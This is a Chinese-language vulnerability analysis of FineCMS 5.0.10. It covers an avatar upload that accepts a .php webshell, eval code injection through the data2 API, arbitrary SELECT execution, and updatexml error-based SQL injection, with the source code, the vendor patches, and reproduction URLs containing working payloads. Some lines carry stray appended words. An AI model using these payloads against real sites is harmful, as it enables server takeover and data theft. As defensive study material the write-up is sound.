今天是一篇關於技能提高的文章,文章中的CMS是FineCMS,版本是5.0.10版本的幾個漏洞分析,主要內容是介紹漏洞修補前和修補後的分析過程,幫助你們快速掌握該技能。php
注:篇幅較長,閱讀用時約7分鐘。css
任意文件上傳漏洞html
一、漏洞復現c++
用十六進制編輯器寫一個包含一句話木馬的圖片,去網站註冊一個帳號,而後到上傳頭像的地方。sql
抓包,修改文件後綴名爲.php併發包。數據庫
能夠看到文件已經上傳到/uploadfile/member/用戶ID/0x0.phpjson
二、漏洞分析api
文件:數組
finecms/dayrui/controllers/member/Account.php 177~244行瀏覽器
/**
* 上傳頭像處理
* 傳入頭像壓縮包,解壓到指定文件夾後刪除非圖片文件
*/
public function upload() {
// 建立圖片存儲文件夾
$dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
@dr_dir_delete($dir);
!is_dir($dir) && dr_mkdirs($dir);
if ($_POST['tx']) {
$file = str_replace(' ', '+', $_POST['tx']);
if (preg_match('/^(data:s*image/(w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
exit(dr_json(0, '目錄權限不足或磁盤已滿'));
} else {
$this->load->library('image_lib');
$config['create_thumb'] = TRUE;
$config['thumb_marker'] = '';
$config['maintain_ratio'] = FALSE;
$config['source_image'] = $new_file;
foreach (array(30, 45, 90, 180) as $a) {
$config['width'] = $config['height'] = $a;
$config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
$this->image_lib->initialize($config);
if (!$this->image_lib->resize()) {
exit(dr_json(0, '上傳錯誤:'.$this->image_lib->display_errors()));
break;
}
}
list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
!$type && exit(dr_json(0, '圖片字符串不規範'));
}
} else {
exit(dr_json(0, '圖片字符串不規範'));
}
} else {
exit(dr_json(0, '圖片不存在'));
}
// 上傳圖片到服務器
if (defined('UCSSO_API')) {
$rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
!$rt['code'] && $this->_json(0, fc_lang('通訊失敗:%s', $rt['msg']));
}
exit('1');
}
在版本5.0.8中也曾存在問題,官方採用了白名單的思想進行修復,代碼以下:
if (!in_array(strtolower($result[2]), array('jpg', 'jpeg', 'png', 'gif'))) {
exit(dr_json(0, '目錄權限不足'));
}
...
$c = 0;
if ($fp = @opendir($dir)) {
while (FALSE !== ($file = readdir($fp))) {
$ext = substr(strrchr($file, '.'), 1);
if (in_array(strtolower($ext), array('jpg', 'jpeg', 'png', 'gif'))) {
if (copy($dir.$file, $my.$file)) {
$c++;
}
}
}
closedir($fp);
}
if (!$c) {
exit(dr_json(0, fc_lang('未找到目錄中的圖片')));
}
任意代碼執行漏洞
一、漏洞復現
auth下面的分析過程當中會講解到如何獲取。
瀏覽器輸入:
http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=cache%20name=MEMBER.1%27];phpinfo( );$a=[%271
二、漏洞分析
這個漏洞的文件在:
/finecms/dayrui/controllers/Api.php的data2( )
public function data2() {
$data = array();
// 安全碼認證
$auth = $this->input->get('auth', true);
if ($auth != md5(SYS_KEY)) {
// 受權認證碼不正確
$data = array('msg' => '受權認證碼不正確', 'code' => 0);
} else {
// 解析數據
$cache = '';
$param = $this->input->get('param');
if (isset($param['cache']) && $param['cache']) {
$cache = md5(dr_array2string($param));
$data = $this->get_cache_data($cache);
}
if (!$data) {
// list數據查詢
$data = $this->template->list_tag($param);
$data['code'] = $data['error'] ? 0 : 1;
unset($data['sql'], $data['pages']);
// 緩存數據
$cache && $this->set_cache_data($cache, $data, $param['cache']);
}
}
// 接收參數
$format = $this->input->get('format');
$function = $this->input->get('function');
if ($function) {
if (!function_exists($function)) {
$data = array('msg' => fc_lang('自定義函數'.$function.'不存在'), 'code' => 0);
} else {
$data = $function($data);
}
}
// 頁面輸出
if ($format == 'php') {
print_r($data);
} elseif ($format == 'jsonp') {
// 自定義返回名稱
echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
} else {
// 自定義返回名稱
echo $this->callback_json($data);
}
exit;
}
能夠看到開頭這裏驗證了認證碼:
// 安全碼認證
$auth = $this->input->get('auth', true);
if ($auth != md5(SYS_KEY)) {
// 受權認證碼不正確
$data = array('msg' => '受權認證碼不正確', 'code' => 0);
} else {
受權碼在/config/system.php
能夠看到SYS_KEY是固定的,咱們能夠在Cookies找到:
/finecms/dayrui/config/config.php
用瀏覽器查看Cookies能夠看到KEY,可是驗證用MD5,因此咱們須要對KEY進行處理。
直接看到這一段,調用了Template對象裏面的list_tag函數:
if (!$data) {
// list數據查詢
$data = $this->template->list_tag($param);
$data['code'] = $data['error'] ? 0 : 1;
unset($data['sql'], $data['pages']);
// 緩存數據
$cache && $this->set_cache_data($cache, $data, $param['cache']);
}
咱們到finecms/dayrui/libraries/Template.php看list_tag函數的代碼,這裏把
param=action=cache%20name=MEMBER.1%27];phpinfo( );$a=[%271的內容分爲兩個數組$var、$val,這兩個數組的內容分別爲:
$var=['action','name']
$val=['cache%20','MEMBER.1%27];phpinfo();$a=[%271']
$cache=_cache_var是返回會員的信息。
重點的是下面的@evai('$data=$cache'.$this->_get_var($_param).';');
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
再看這一段,由於swtich選中的是cache,因此就再也不進行下面的分析了。
$pos = strpos($param['name'], '.');這句是爲下面的substr函數作準備,爲了分離出的內容爲:
$_name='MEMBER'
$_param="1%27];phpinfo();$a=[%271"
// action
switch ($system['action']) {
case 'cache': // 系統緩存數據
if (!isset($param['name'])) {
return $this->_return($system['return'], 'name參數不存在');
}
$pos = strpos($param['name'], '.');
if ($pos !== FALSE) {
$_name = substr($param['name'], 0, $pos);
$_param = substr($param['name'], $pos + 1);
} else {
$_name = $param['name'];
$_param = NULL;
}
$cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
if (!$cache) {
return $this->_return($system['return'], "緩存({$_name})不存在,請在後臺更新緩存");
}
if ($_param) {
$data = array();
@evai('$data=$cache'.$this->_get_var($_param).';');
if (!$data) {
return $this->_return($system['return'], "緩存({$_name})參數不存在!!");
}
} else {
$data = $cache;
}
return $this->_return($system['return'], $data, '');
break;
跟蹤get_var函數,在這裏咱們先把$param的內容假設爲a,而後執行函數裏面的內容,最後返回的$string的內容是:$string=['a']
那麼咱們的思路就是把兩邊的[' ']閉合而後再放上惡意的代碼。
payload爲:1'];phpinfo();$a=['1,那麼返回的$string的內容:
$string=['1'];phpinfo();$a=['1']
public function _get_var($param) {
$array = explode('.', $param);
if (!$array) {
return '';
}
$string = '';
foreach ($array as $var) {
$string.= '[';
if (strpos($var, '$') === 0) {
$string.= preg_replace('/[(.+)]/U', '['\1']', $var);
} elseif (preg_match('/[A-Z_]+/', $var)) {
$string.= ''.$var.'';
} else {
$string.= '''.$var.''';
}
$string.= ']';
}
return $string;
}
修復後的_get_var函數裏面多了一個dr_safe_replace過濾函數,而後data2( )刪除了。
public function _get_var($param) {
$array = explode('.', $param);
if (!$array) {
return '';
}
$string = '';
foreach ($array as $var) {
$var = dr_safe_replace($var);
$string.= '[';
if (strpos($var, '$') === 0) {
$string.= preg_replace('/[(.+)]/U', '['\1']', $var);
} elseif (preg_match('/[A-Z_]+/', $var)) {
$string.= ''.$var.'';
} else {
$string.= '''.$var.''';
}
$string.= ']';
}
return $string;
}
dr_safe_replace( )
function dr_safe_replace($string) {
$string = str_replace('%20', '', $string);
$string = str_replace('%27', '', $string);
$string = str_replace('%2527', '', $string);
$string = str_replace('*', '', $string);
$string = str_replace('"', '"', $string);
$string = str_replace("'", '', $string);
$string = str_replace('"', '', $string);
$string = str_replace(';', '', $string);
$string = str_replace('<', '<', $string);
$string = str_replace('>', '>', $string);
$string = str_replace("{", '', $string);
$string = str_replace('}', '', $string);
return $string;
}
任意SQL語句執行1
一、漏洞復現
瀏覽器:
http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=sql%20sql=%27select%20version( );%27
這裏就不用debug模式去跟進了,若是有小夥伴對CI框架的數據庫操做不熟悉的能夠查閱官方文檔:
http://codeigniter.org.cn/user_guide/database/index.html
問題同樣出在:
finecms/dayrui/controllers/Api.php中的data2( ),
能夠直接去看:
finecms/dayrui/libraries/Template.php裏面的list_tag( )函數。
這裏想說一下就是preg_match這個函數的做用,匹配事後sql是一個數組:
array(2) {
[0]=>
string(23) "sql='select version();'"
[1]=>
string(17) "select version();"
}
這裏判斷了開頭的位置是否只使用了select:
if (stripos($sql, 'SELECT') !== 0) {
return $this->_return($system['return'], 'SQL語句只能是SELECT查詢語句');
再往下看,這一句纔是執行SQL的地方,傳入sql內容和$system['site']默認是1,$system['cache'] 默認緩存時間是3600。
$data = $this->_query($sql, $system['site'], $system['cache']);
繼續跟進_query( )函數
public function _query($sql, $site, $cache, $all = TRUE) {
echo $this->ci->site[$site];
// 數據庫對象
$db = $site ? $this->ci->site[$site] : $this->ci->db;
$cname = md5($sql.dr_now_url());
// 緩存存在時讀取緩存文件
if ($cache && $data = $this->ci->get_cache_data($cname)) {
return $data;
}
// 執行SQL
$db->db_debug = FALSE;
$query = $db->query($sql);
if (!$query) {
return 'SQL查詢解析不正確:'.$sql;
}
// 查詢結果
$data = $all ? $query->result_array() : $query->row_array();
// 開啓緩存時,從新存儲緩存數據
$cache && $this->ci->set_cache_data($cname, $data, $cache);
$db->db_debug = TRUE;
return $data;
}
沒有對函數進行任何過濾$query = $db->query($sql);,直接帶入了咱們的語句。
官方的修復方法:刪除了data2( )函數。
任意SQL語句執行2
一、漏洞復現
瀏覽器:
http://getpass1.cn/index.php?s=member&c=api&m=checktitle&id=1&title=1&module=news,(select%20(updatexml(1,concat(1,(select%20user( )),0x7e),1)))a
二、漏洞分析
文件在:
finecms/dayrui/controllers/member/Api.php的checktitle( )函數:
public function checktitle() {
$id = (int)$this->input->get('id');
$title = $this->input->get('title', TRUE);
$module = $this->input->get('module');
(!$title || !$module) && exit('');
$num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
echo $num;
$num ? exit(fc_lang('<font color=red>'.fc_lang('重複').'</font>')) : exit('');
}
其餘的沒什麼過濾,主要是CI框架裏面的一些內置方法,好比count_all_results,能夠到:
http://codeigniter.org.cn/user_guide/database/query_builder.html?highlight=count_all_results#CI_DB_query_builder::count_all_results 查看用法
還有一個就是SITE_ID變量,它是指:
站點是系統的核心部分,各個站點數據獨立,能夠設置站點分庫管理。
其餘
還有一個遠程命令執行漏洞沒能復現,是在api的html( )函數,說是能夠用&來突破,可是evai只能用;來結束語句的結束。
function dr_safe_replace($string) {
$string = str_replace('%20', '', $string);
$string = str_replace('%27', '', $string);
$string = str_replace('%2527', '', $string);
$string = str_replace('*', '', $string);
$string = str_replace('"', '"', $string);
$string = str_replace("'", '', $string);
$string = str_replace('"', '', $string);
$string = str_replace(';', '', $string);
$string = str_replace('<', '<', $string);
$string = str_replace('>', '>', $string);
$string = str_replace("{", '', $string);
$string = str_replace('}', '', $string);
return $string;
}
以上是今天的所有內容,你們看懂了嗎?